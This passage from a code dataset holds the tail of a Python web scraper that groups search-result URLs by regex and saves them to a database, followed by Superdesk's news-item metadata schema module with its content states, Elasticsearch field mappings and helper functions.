re.search(r'news\\.[a-z0-9.-]+\\.[a-z]{2,4}[/a-z0-9._-]*', url_dict['url']):\n            groups[\"news\"].append(url_dict)\n        # Use a regular expression to check if the URL is a betting site\n        elif re.search(r'bet\\.[a-z0-9.-]+\\.[a-z]{2,4}[/a-z0-9._-]*', url_dict['url']):\n            groups[\"betting_site\"].append(url_dict)\n        else:\n            groups[\"other\"].append(url_dict)\n\n    # Return the dictionary of URL groups\n    return groups\n\n\n# Create a new thread for each keyword\nthreads = []\n\n# Start a thread for each keyword\nfor keyword in keywords:\n    thread = Thread(target=get_headers_and_links, args=(keyword,))\n    threads.append(thread)\n    thread.start()\n\n# Wait for all threads to finish\nfor thread in threads:\n    print(\"waiting for threads to finish \")\n    thread.join()\n\nprint(\"size of results dictionary\", results.__sizeof__())\n\ngroup = group_urls(results)\n\ndbscript.save_to_db(group)\n", "repo_name": "Sniffr/google-scraper", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2813, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}, {"api_name": "re.search", "line_number": 26, "usage_type": "call"}, {"api_name": "re.search", "line_number": 46, "usage_type": "call"}, {"api_name": "re.search", "line_number": 49, "usage_type": "call"}, {"api_name": "re.search", "line_number": 53, "usage_type": "call"}, {"api_name": "re.search", "line_number": 56, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 70, "usage_type": "call"}, {"api_name": "dbscript.save_to_db", "line_number": 83, "usage_type": "call"}]}
{"seq_id": "25212056854", "text": "from typing import NamedTuple\nfrom copy import deepcopy\n\nfrom superdesk.resource import (\n    Resource,\n    not_analyzed,\n    not_indexed,\n    not_enabled,\n    text_with_keyword,\n    not_dynamic,\n    string_with_analyzer,\n)\nfrom .packages import LINKED_IN_PACKAGES, PACKAGE\nfrom eve.utils import config\nfrom superdesk.utils import SuperdeskBaseEnum\n\nGUID_TAG = \"tag\"\nGUID_FIELD = \"guid\"\nGUID_NEWSML = \"newsml\"\nINGEST_ID = \"ingest_id\"\nINGEST_VERSION = \"ingest_version\"\nFAMILY_ID = \"family_id\"\nASSOCIATIONS = \"associations\"\n\n\n#: item public states\nclass PubStatuses(NamedTuple):\n    USABLE: str\n    HOLD: str\n    CANCELED: str\n\n\nPUB_STATUS: PubStatuses = PubStatuses(\"usable\", \"withheld\", \"canceled\")\n\n\nclass ContentTypes(NamedTuple):\n    TEXT: str\n    PREFORMATTED: str\n    AUDIO: str\n    VIDEO: str\n    PICTURE: str\n    GRAPHIC: str\n    COMPOSITE: str\n    EVENT: str\n    PLANNING: str\n\n\nCONTENT_TYPE: ContentTypes = ContentTypes(\n    \"text\", \"preformatted\", \"audio\", \"video\", \"picture\", \"graphic\", \"composite\", \"event\", \"planning\"\n)\n\nMEDIA_TYPES = (\"audio\", \"video\", \"picture\", \"graphic\")\nITEM_TYPE = \"type\"\nITEM_STATE = \"state\"\nITEM_PRIORITY = \"priority\"\nITEM_URGENCY = \"urgency\"\n\n\n#: item internal states\nclass ContentStates(NamedTuple):\n    DRAFT: str\n    INGESTED: str\n    ROUTED: str\n    FETCHED: str\n    SUBMITTED: str\n    PROGRESS: str\n    SPIKED: str\n    PUBLISHED: str\n    KILLED: str\n    CORRECTED: str\n    SCHEDULED: str\n    RECALLED: str\n    UNPUBLISHED: str\n    CORRECTION: str\n    BEING_CORRECTED: str\n\n\nCONTENT_STATE: ContentStates = ContentStates(\n    \"draft\",\n    \"ingested\",\n    \"routed\",\n    \"fetched\",\n    \"submitted\",\n    \"in_progress\",\n    \"spiked\",\n    \"published\",\n    \"killed\",\n    \"corrected\",\n    \"scheduled\",\n    \"recalled\",\n    \"unpublished\",\n    \"correction\",\n    \"being_corrected\",\n)\n\nPUBLISH_STATES = {\n    CONTENT_STATE.PUBLISHED,\n    CONTENT_STATE.SCHEDULED,\n    CONTENT_STATE.CORRECTED,\n    CONTENT_STATE.KILLED,\n    CONTENT_STATE.RECALLED,\n    CONTENT_STATE.UNPUBLISHED,\n    CONTENT_STATE.BEING_CORRECTED,\n}\n\n\nclass Formats(NamedTuple):\n    HTML: str\n    PRESERVED: str\n\n\nFORMAT = \"format\"\nFORMATS: Formats = Formats(\"HTML\", \"preserved\")\n\nBYLINE = \"byline\"\nSIGN_OFF = \"sign_off\"\nEMBARGO = \"embargo\"\nPUBLISH_SCHEDULE = \"publish_schedule\"\nSCHEDULE_SETTINGS = \"schedule_settings\"\nPROCESSED_FROM = \"processed_from\"\n\n# part the task dict\nLAST_DESK = \"last_desk\"\nLAST_AUTHORING_DESK = \"last_authoring_desk\"\nLAST_PRODUCTION_DESK = \"last_production_desk\"\nDESK_HISTORY = \"desk_history\"\n\nITEM_EVENT_ID = \"event_id\"\n\ngeopoint = {\n    \"type\": \"dict\",\n    \"mapping\": {\"type\": \"geo_point\"},\n    \"nullable\": True,\n    \"schema\": {\n        \"lat\": {\"type\": \"float\"},\n        \"lon\": {\"type\": \"float\"},\n    },\n}\n\nentity_metadata = {\n    \"type\": \"list\",\n    \"nullable\": True,\n    \"mapping\": {\n        \"type\": \"object\",\n        \"dynamic\": False,\n        \"properties\": {\n            \"name\": text_with_keyword,\n            \"qcode\": not_analyzed,\n            \"scheme\": not_analyzed,\n            \"source\": not_analyzed,\n        },\n    },\n}\n\nmetadata_schema = {\n    config.ID_FIELD: {\"type\": \"string\", \"unique\": True},\n    #: Identifiers\n    \"guid\": {\"type\": \"string\", \"unique\": True, \"mapping\": not_analyzed},\n    \"uri\": {\n        \"type\": \"string\",\n        \"mapping\": not_analyzed,\n    },\n    \"unique_id\": {\n        \"type\": \"integer\",\n        \"unique\": True,\n    },\n    \"unique_name\": {\"type\": \"string\", \"unique\": True, \"mapping\": not_analyzed},\n    \"version\": {\"type\": \"integer\"},\n    \"ingest_id\": {\"type\": \"string\", \"mapping\": not_analyzed},\n    \"ingest_version\": {\"type\": \"string\", \"mapping\": not_analyzed},\n    \"family_id\": {\"type\": \"string\", \"mapping\": not_analyzed},\n    \"related_to\": {  # this field keeps a reference to the related item from which metadata has been copied\n        \"type\": \"string\",\n        \"mapping\": not_analyzed,\n    },\n    # Audit Information\n    \"original_creator\": Resource.rel(\"users\"),\n    \"version_creator\": Resource.rel(\"users\"),\n    \"firstcreated\": {\"type\": \"datetime\"},\n    \"versioncreated\": {\"type\": \"datetime\"},\n    \"firstpublished\": {\n        \"type\": \"datetime\",\n        \"required\": False,\n        \"nullable\": True,\n    },\n    # Ingest Details\n    \"ingest_provider\": Resource.rel(\"ingest_providers\"),\n    \"source\": {\"type\": \"string\", \"mapping\": not_analyzed},  # The value is copied from the ingest_providers vocabulary\n    \"original_source\": {\"type\": \"string\", \"mapping\": not_analyzed},  # This value is extracted from the ingest\n    \"ingest_provider_sequence\": {\"type\": \"string\", \"mapping\": not_analyzed},\n    # Copyright Information\n    \"usageterms\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n    },\n    \"copyrightnotice\": {\"type\": \"string\", \"nullable\": True, \"mapping\": not_indexed},\n    \"copyrightholder\": {\"type\": \"string\", \"nullable\": True},\n    # Category Details\n    \"anpa_category\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"mapping\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"qcode\": not_analyzed,\n                \"name\": not_analyzed,\n                \"scheme\": not_analyzed,\n            },\n        },\n    },\n    \"subject\": {\n        \"type\": \"list\",\n        \"mapping\": {\"type\": \"object\", \"dynamic\": False, \"properties\": {\"qcode\": not_analyzed, \"name\": not_analyzed}},\n    },\n    \"genre\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"mapping\": {\"type\": \"object\", \"properties\": {\"name\": not_analyzed, \"qcode\": not_analyzed}},\n    },\n    \"company_codes\": {\n        \"type\": \"list\",\n        \"mapping\": {\n            \"type\": \"object\",\n            \"properties\": {\"qcode\": not_analyzed, \"name\": not_analyzed, \"security_exchange\": not_analyzed},\n        },\n    },\n    # Item Metadata\n    ITEM_TYPE: {\n        \"type\": \"string\",\n        \"allowed\": tuple(CONTENT_TYPE),\n        \"default\": \"text\",\n        \"mapping\": not_analyzed,\n    },\n    \"package_type\": {\"type\": \"string\", \"allowed\": [\"takes\"]},  # deprecated\n    \"language\": {\n        \"type\": \"string\",\n        \"mapping\": not_analyzed,\n        \"nullable\": True,\n    },\n    \"abstract\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": string_with_analyzer,\n    },\n    \"headline\": {\n        \"type\": \"string\",\n        \"mapping\": string_with_analyzer,\n    },\n    \"slugline\": {\n        \"type\": \"string\",\n        \"mapping\": {\n            \"type\": \"string\",\n            \"fielddata\": True,\n            \"fields\": {\n                \"phrase\": {\n                    \"type\": \"string\",\n                    \"analyzer\": \"phrase_prefix_analyzer\",\n                    \"fielddata\": True,\n                },\n                \"keyword\": {\n                    \"type\": \"keyword\",\n                },\n                \"text\": string_with_analyzer,\n            },\n        },\n    },\n    \"anpa_take_key\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n    },\n    \"correction_sequence\": {\"type\": \"integer\", \"nullable\": True, \"mapping\": not_analyzed},\n    \"rewrite_sequence\": {\"type\": \"integer\", \"nullable\": True, \"mapping\": not_analyzed},\n    \"rewrite_of\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": not_analyzed,\n    },\n    \"rewritten_by\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": not_analyzed,\n    },\n    \"sequence\": {\n        \"type\": \"integer\",\n        \"nullable\": True,\n    },\n    \"keywords\": {\"type\": \"list\", \"mapping\": string_with_analyzer},\n    \"word_count\": {\"type\": \"integer\"},\n    \"priority\": {\"type\": \"integer\", \"nullable\": True},\n    \"urgency\": {\"type\": \"integer\", \"nullable\": True},\n    \"profile\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": not_analyzed,\n    },\n    # Related to state of an article\n    ITEM_STATE: {\n        \"type\": \"string\",\n        \"allowed\": tuple(CONTENT_STATE),\n        \"mapping\": not_analyzed,\n    },\n    # The previous state the item was in before for example being spiked, when un-spiked it will revert to this state\n    \"revert_state\": {\n        \"type\": \"string\",\n        \"allowed\": tuple(CONTENT_STATE),\n        \"mapping\": not_analyzed,\n    },\n    \"pubstatus\": {\n        \"type\": \"string\",\n        \"allowed\": tuple(PUB_STATUS),\n        \"default\": PUB_STATUS.USABLE,\n        \"mapping\": not_analyzed,\n        \"nullable\": True,\n    },\n    \"signal\": {\n        \"type\": \"list\",\n        \"mapping\": {\n            \"type\": \"object\",\n            \"properties\": {\"qcode\": not_analyzed, \"name\": not_analyzed, \"scheme\": not_analyzed},\n        },\n    },\n    BYLINE: {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": string_with_analyzer,\n    },\n    \"ednote\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": string_with_analyzer,\n    },\n    \"authors\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"mapping\": {\n            \"type\": \"object\",\n            \"dynamic\": False,\n            \"properties\": {\n                \"uri\": not_analyzed,\n                \"parent\": not_analyzed,\n                \"name\": text_with_keyword,\n                \"role\": not_analyzed,\n                \"jobtitle\": not_enabled,\n                \"sub_label\": text_with_keyword,\n            },\n        },\n    },\n    \"description_text\": {\"type\": \"string\", \"nullable\": True, \"mapping\": string_with_analyzer},\n    # This is a description of the item as recieved from its source.\n    \"archive_description\": {\"type\": \"string\", \"nullable\": True},\n    \"groups\": {\n        \"type\": \"list\",\n        \"minlength\": 1,\n        \"nullable\": True,\n        \"mapping\": {\n            \"dynamic\": False,\n            \"properties\": {\n                \"id\": not_analyzed,\n                \"refs\": {\n                    \"dynamic\": False,\n                    \"properties\": {\n                        \"idRef\": not_analyzed,\n                        \"_id\": not_analyzed,\n                        \"uri\": not_analyzed,\n                        \"guid\": not_analyzed,\n                        \"type\": not_analyzed,\n                        \"location\": not_analyzed,\n                        \"headline\": {\"type\": \"string\"},\n                        \"slugline\": {\"type\": \"string\"},\n                    },\n                },\n            },\n        },\n    },\n    \"deleted_groups\": {\n        \"type\": \"list\",\n        \"minlength\": 1,\n        \"nullable\": True,\n    },\n    \"body_html\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": string_with_analyzer,\n    },\n    \"body_text\": {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": string_with_analyzer,\n    },\n    \"dateline\": {\n        \"type\": \"dict\",\n        \"nullable\": True,\n        \"schema\": {\n            \"located\": {\n                \"type\": \"dict\",\n                \"nullable\": True,\n                \"schema\": {\n                    \"state_code\": {\"type\": \"string\"},\n                    \"city\": {\"type\": \"string\"},\n                    \"tz\": {\"type\": \"string\"},\n                    \"country_code\": {\"type\": \"string\"},\n                    \"dateline\": {\"type\": \"string\"},\n                    \"alt_name\": {\"type\": \"string\"},\n                    \"state\": {\"type\": \"string\"},\n                    \"city_code\": {\"type\": \"string\"},\n                    \"country\": {\"type\": \"string\"},\n                    \"code\": {\"type\": \"string\"},\n                    \"scheme\": {\"type\": \"string\"},\n                    \"location\": geopoint,\n                    \"place\": {\n                        \"type\": \"dict\",\n                        \"nullable\": True,\n                        \"mapping\": not_enabled,\n                        \"schema\": {\n                            \"code\": {\"type\": \"string\"},\n                            \"name\": {\"type\": \"string\"},\n                            \"qcode\": {\"type\": \"string\"},\n                            \"scheme\": {\"type\": \"string\"},\n                            \"feature_class\": {\"type\": \"string\"},\n                            \"location\": geopoint,\n                            \"continent_code\": {\"type\": \"string\", \"nullable\": True},\n                            \"region\": {\"type\": \"string\", \"nullable\": True},\n                            \"region_code\": {\"type\": \"string\", \"nullable\": True},\n                            \"locality\": {\"type\": \"string\", \"nullable\": True},\n                            \"state\": {\"type\": \"string\", \"nullable\": True},\n                            \"country\": {\"type\": \"string\", \"nullable\": True},\n                            \"world_region\": {\"type\": \"string\", \"nullable\": True},\n                            \"locality_code\": {\"type\": \"string\", \"nullable\": True},\n                            \"state_code\": {\"type\": \"string\", \"nullable\": True},\n                            \"country_code\": {\"type\": \"string\", \"nullable\": True},\n                            \"world_region_code\": {\"type\": \"string\", \"nullable\": True},\n                            \"rel\": {\"type\": \"string\", \"nullable\": True},\n                            \"tz\": {\"type\": \"string\", \"nullable\": True},\n                        },\n                    },\n                },\n            },\n            \"date\": {\"type\": \"datetime\", \"nullable\": True},\n            \"source\": {\"type\": \"string\"},\n            \"text\": {\"type\": \"string\", \"nullable\": True},\n        },\n    },\n    \"expiry\": {\"type\": \"datetime\"},\n    # Media Related\n    \"media\": {\"type\": \"file\"},\n    \"mimetype\": {\"type\": \"string\", \"mapping\": not_analyzed},\n    \"poi\": {\n        \"type\": \"dict\",\n        \"schema\": {\"x\": {\"type\": \"float\", \"nullable\": False}, \"y\": {\"type\": \"float\", \"nullable\": False}},\n    },\n    \"renditions\": {\n        \"type\": \"dict\",\n        \"schema\": {},\n        \"allow_unknown\": True,\n        \"mapping\": not_enabled,\n    },\n    \"filemeta\": {\n        \"type\": \"dict\",\n        \"schema\": {},\n        \"allow_unknown\": True,\n        \"mapping\": not_enabled,\n    },\n    \"filemeta_json\": {\"type\": \"string\", \"mapping\": not_indexed},\n    \"media_file\": {\"type\": \"string\"},\n    \"contents\": {\"type\": \"list\"},\n    ASSOCIATIONS: {\n        \"type\": \"dict\",\n        \"allow_unknown\": True,\n        \"schema\": {},\n        \"mapping\": {\n            \"type\": \"object\",\n            \"dynamic\": False,\n            \"properties\": {\n                \"featuremedia\": {  # keep indexing featuremedia - we do some filtering using it\n                    \"type\": \"object\",\n                    \"dynamic\": False,\n                    \"properties\": {\n                        \"_id\": not_analyzed,\n                        \"guid\": not_analyzed,\n                        \"unique_id\": {\"type\": \"integer\"},\n                    },\n                }\n            },\n        },\n    },\n    # track references to other objects,\n    # based on associations but allows queries\n    \"refs\": {\n        \"type\": \"list\",\n        \"readonly\": True,\n        \"schema\": {\n            \"_id\": {\"type\": \"string\"},\n            \"key\": {\"type\": \"string\"},\n            \"uri\": {\"type\": \"string\"},\n            \"guid\": {\"type\": \"string\"},\n            \"type\": {\"type\": \"string\"},\n            \"source\": {\"type\": \"string\", \"nullable\": True},\n        },\n        \"mapping\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"_id\": not_analyzed,\n                \"key\": not_analyzed,\n                \"uri\": not_analyzed,\n                \"guid\": not_analyzed,\n                \"type\": not_analyzed,\n                \"source\": not_analyzed,\n            },\n        },\n    },\n    \"alt_text\": {\"type\": \"string\", \"nullable\": True},\n    # aka Locator as per NewML Specification\n    \"place\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"mapping\": {\n            \"type\": \"object\",\n            \"dynamic\": False,\n            \"properties\": {\n                \"scheme\": not_analyzed,\n                \"qcode\": not_analyzed,\n                \"code\": not_analyzed,  # content api\n                \"name\": not_analyzed,\n                \"locality\": not_analyzed,  # can be used for city/town/village etc.\n                \"state\": not_analyzed,\n                \"country\": not_analyzed,\n                \"world_region\": not_analyzed,\n                \"locality_code\": not_analyzed,\n                \"state_code\": not_analyzed,\n                \"country_code\": not_analyzed,\n                \"world_region_code\": not_analyzed,\n                \"feature_class\": not_analyzed,\n                \"location\": {\"type\": \"geo_point\"},\n                \"rel\": not_analyzed,\n            },\n        },\n    },\n    \"event\": deepcopy(entity_metadata),\n    \"person\": deepcopy(entity_metadata),\n    \"object\": deepcopy(entity_metadata),\n    \"organisation\": deepcopy(entity_metadata),\n    # Not Categorized\n    \"creditline\": {\"type\": \"string\"},\n    LINKED_IN_PACKAGES: {\n        \"type\": \"list\",\n        \"readonly\": True,\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {PACKAGE: Resource.rel(\"archive\"), \"package_type\": {\"type\": \"string\"}},  # deprecated\n        },\n    },\n    \"highlight\": Resource.rel(\"highlights\"),\n    \"highlights\": {\"type\": \"list\", \"schema\": Resource.rel(\"highlights\", True)},\n    \"marked_desks\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"desk_id\": Resource.rel(\"desks\", True),\n                \"date_marked\": {\"type\": \"datetime\", \"nullable\": True},\n                \"user_marked\": Resource.rel(\"users\", required=False, nullable=True),\n                \"date_acknowledged\": {\"type\": \"datetime\", \"nullable\": True},\n                \"user_acknowledged\": Resource.rel(\"users\", required=False, nullable=True),\n            },\n        },\n    },\n    \"more_coming\": {\"type\": \"boolean\"},  # deprecated\n    # Field which contains all the sign-offs done on this article, eg. twd/jwt/ets\n    SIGN_OFF: {\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": string_with_analyzer,\n    },\n    # Desk and Stage Details\n    \"task\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"user\": {\"type\": \"string\", \"mapping\": not_analyzed, \"nullable\": True},\n            \"desk\": {\"type\": \"string\", \"mapping\": not_analyzed, \"nullable\": True},\n            DESK_HISTORY: {\"type\": \"list\", \"mapping\": not_analyzed},\n            LAST_DESK: {\"type\": \"string\", \"mapping\": not_analyzed},\n            \"stage\": {\"type\": \"string\", \"mapping\": not_analyzed, \"nullable\": True},\n            \"status\": {\"type\": \"string\", \"mapping\": not_analyzed},\n            LAST_AUTHORING_DESK: {\"type\": \"string\", \"mapping\": not_analyzed},\n            LAST_PRODUCTION_DESK: {\"type\": \"string\", \"mapping\": not_analyzed},\n        },\n    },\n    # Task and Lock Details\n    \"task_id\": {\"type\": \"string\", \"mapping\": not_analyzed, \"versioned\": False},\n    \"lock_user\": Resource.rel(\"users\"),\n    \"lock_time\": {\"type\": \"datetime\", \"versioned\": False},\n    \"lock_session\": Resource.rel(\"auth\"),\n    # Action when the story is locked: edit, correct, kill\n    \"lock_action\": {\"type\": \"string\", \"mapping\": not_analyzed, \"nullable\": True},\n    # template used to create an item\n    \"template\": Resource.rel(\"content_templates\"),\n    \"body_footer\": {  # Public Service Announcements\n        \"type\": \"string\",\n        \"nullable\": True,\n        \"mapping\": not_indexed,\n    },\n    \"flags\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"marked_for_not_publication\": {\"type\": \"boolean\", \"default\": False},\n            \"marked_for_legal\": {\"type\": \"boolean\", \"default\": False},\n            \"marked_archived_only\": {\"type\": \"boolean\", \"default\": False},\n            \"marked_for_sms\": {\"type\": \"boolean\", \"default\": False},\n        },\n        \"default\": {\n            \"marked_for_not_publication\": False,\n            \"marked_for_legal\": False,\n            \"marked_archived_only\": False,\n            \"marked_for_sms\": False,\n        },\n    },\n    \"sms_message\": {\"type\": \"string\", \"mapping\": not_analyzed, \"nullable\": True},\n    FORMAT: {\"type\": \"string\", \"mapping\": not_analyzed, \"default\": FORMATS.HTML},\n    # True indicates that the item has been or is to be published as a result of a routing rule\n    \"auto_publish\": {\"type\": \"boolean\"},\n    # draft-js internal data\n    \"fields_meta\": {\n        \"type\": \"dict\",\n        \"schema\": {},\n        \"allow_unknown\": True,\n        \"nullable\": True,\n        \"mapping\": not_enabled,\n    },\n    \"annotations\": {\n        \"type\": \"list\",\n        \"mapping\": not_enabled,\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"id\": {\"type\": \"integer\"},\n                \"type\": {\"type\": \"string\"},\n                \"body\": {\"type\": \"string\"},\n            },\n        },\n    },\n    \"extra\": {\n        \"type\": \"dict\",\n        \"schema\": {},\n        \"mapping\": not_dynamic,\n        \"allow_unknown\": True,\n    },\n    \"attachments\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"attachment\": Resource.rel(\"attachments\", nullable=False),\n            },\n        },\n    },\n    # references assignment related to the coverage\n    \"assignment_id\": {\"type\": \"string\", \"mapping\": not_analyzed},\n    \"translated_from\": {\n        \"type\": \"string\",\n        \"mapping\": not_analyzed,\n    },\n    \"translation_id\": {\n        \"type\": \"string\",\n        \"mapping\": not_analyzed,\n    },\n    \"translations\": {\n        \"type\": \"list\",\n        \"mapping\": not_analyzed,\n    },\n    # references item id for items auto published using internal destinations\n    PROCESSED_FROM: {\"type\": \"string\", \"mapping\": not_analyzed},\n    # ingested embargoed info, not using embargo to avoid validation\n    \"embargoed\": {\"type\": \"datetime\"},\n    \"embargoed_text\": {\"type\": \"string\", \"mapping\": not_indexed},\n    \"marked_for_user\": Resource.rel(\"users\", required=False, nullable=True),\n    \"marked_for_sign_off\": {\"type\": \"string\", \"nullable\": True},\n    \"broadcast\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"status\": {\"type\": \"string\", \"mapping\": not_analyzed},\n            \"master_id\": {\"type\": \"string\", \"mapping\": not_analyzed},\n            \"rewrite_id\": {\"type\": \"string\", \"mapping\": not_analyzed},\n        },\n    },\n    ITEM_EVENT_ID: {\"type\": \"string\", \"mapping\": not_analyzed},\n    # schedules\n    EMBARGO: {\"type\": \"datetime\", \"nullable\": True},\n    PUBLISH_SCHEDULE: {\"type\": \"datetime\", \"nullable\": True},\n    SCHEDULE_SETTINGS: {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"time_zone\": {\"type\": \"string\", \"nullable\": True, \"mapping\": not_analyzed},\n            \"utc_embargo\": {\"type\": \"datetime\", \"nullable\": True},\n            \"utc_publish_schedule\": {\"type\": \"datetime\", \"nullable\": True},\n        },\n    },\n    # usage tracking\n    \"used\": {\"type\": \"boolean\"},\n    \"used_count\": {\"type\": \"integer\"},\n    \"used_updated\": {\"type\": \"datetime\"},\n    \"metrics\": {\n        \"type\": \"dict\",\n        \"readonly\": True,\n        \"allow_unknown\": True,\n    },\n    # system fields\n    \"_type\": {\"type\": \"string\", \"mapping\": None},\n    \"operation\": {\"type\": \"string\"},\n    \"es_highlight\": {\"type\": \"dict\", \"allow_unknown\": True, \"readonly\": True},\n    # targeting fields\n    \"target_regions\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\"qcode\": {\"type\": \"string\"}, \"name\": {\"type\": \"string\"}, \"allow\": {\"type\": \"boolean\"}},\n        },\n    },\n    \"target_types\": {\n        \"type\": \"list\",\n        \"nullable\": True,\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\"qcode\": {\"type\": \"string\"}, \"name\": {\"type\": \"string\"}, \"allow\": {\"type\": \"boolean\"}},\n        },\n    },\n    \"target_subscribers\": {\"type\": \"list\", \"nullable\": True},\n    \"scope\": {\"type\": \"string\", \"scope\": True, \"mapping\": not_analyzed},\n}\n\nmetadata_schema[\"lock_user\"][\"versioned\"] = False\nmetadata_schema[\"lock_session\"][\"versioned\"] = False\n\ncrop_schema = {\n    \"CropLeft\": {\"type\": \"integer\"},\n    \"CropRight\": {\"type\": \"integer\"},\n    \"CropTop\": {\"type\": \"integer\"},\n    \"CropBottom\": {\"type\": \"integer\"},\n}\n\n\ndef remove_metadata_for_publish(item):\n    \"\"\"Remove metadata from item that should not be public.\n\n    :param item: Item containing the metadata\n    :return: item\n    \"\"\"\n    from superdesk.attachments import is_attachment_public\n\n    if len(item.get(\"attachments\", [])) > 0:\n        item[\"attachments\"] = [attachment for attachment in item[\"attachments\"] if is_attachment_public(attachment)]\n\n    return item\n\n\nclass Priority(SuperdeskBaseEnum):\n    \"\"\"Priority values.\"\"\"\n\n    Flash = 1\n    Urgent = 2\n    Three_Paragraph = 3\n    Screen_Finance = 4\n    Continuous_News = 5\n    Ordinary = 6\n\n\ndef get_schema(versioning=False):\n    schema = metadata_schema.copy()\n\n    if versioning:\n        schema.update(\n            {\n                \"_id_document\": {\"type\": \"string\"},\n                \"_current_version\": {\"type\": \"integer\"},\n            }\n        )\n\n    return schema\n", "repo_name": "superdesk/superdesk-core", "sub_path": "superdesk/metadata/item.py", "file_name": "item.py", "file_ext": "py", "file_size_in_byte": 24645, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.NamedTuple", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 107, "usage_type": "name"}, {"api_name": "superdesk.resource.text_with_keyword", "line_number": 147, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 148, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 149, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 150, "usage_type": "name"}, {"api_name": "eve.utils.config.ID_FIELD", "line_number": 156, "usage_type": "attribute"}, {"api_name": "eve.utils.config", "line_number": 156, "usage_type": "name"}, {"api_name": "packages.LINKED_IN_PACKAGES", "line_number": 544, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 158, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 161, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 167, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 169, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 170, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 171, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 174, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 177, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 177, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 178, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 178, "usage_type": "name"}, {"api_name": "superdesk.resource.Resource.rel", "line_number": 187, "usage_type": "call"}, {"api_name": "superdesk.resource.Resource", "line_number": 187, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 188, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 189, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 190, "usage_type": "name"}, {"api_name": "superdesk.resource.not_indexed", "line_number": 196, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 205, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 206, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 207, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 213, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 218, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 224, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 232, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 237, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 243, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 247, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 263, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 271, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 272, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 276, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 281, "usage_type": "name"}, {"api_name": "superdesk.resource.string_with_analyzer", "line_number": 287, "usage_type": "name"}, {"api_name": "superdesk.resource.not_analyzed", "line_number": 294, "usage_type": "name"}, {"api_name": 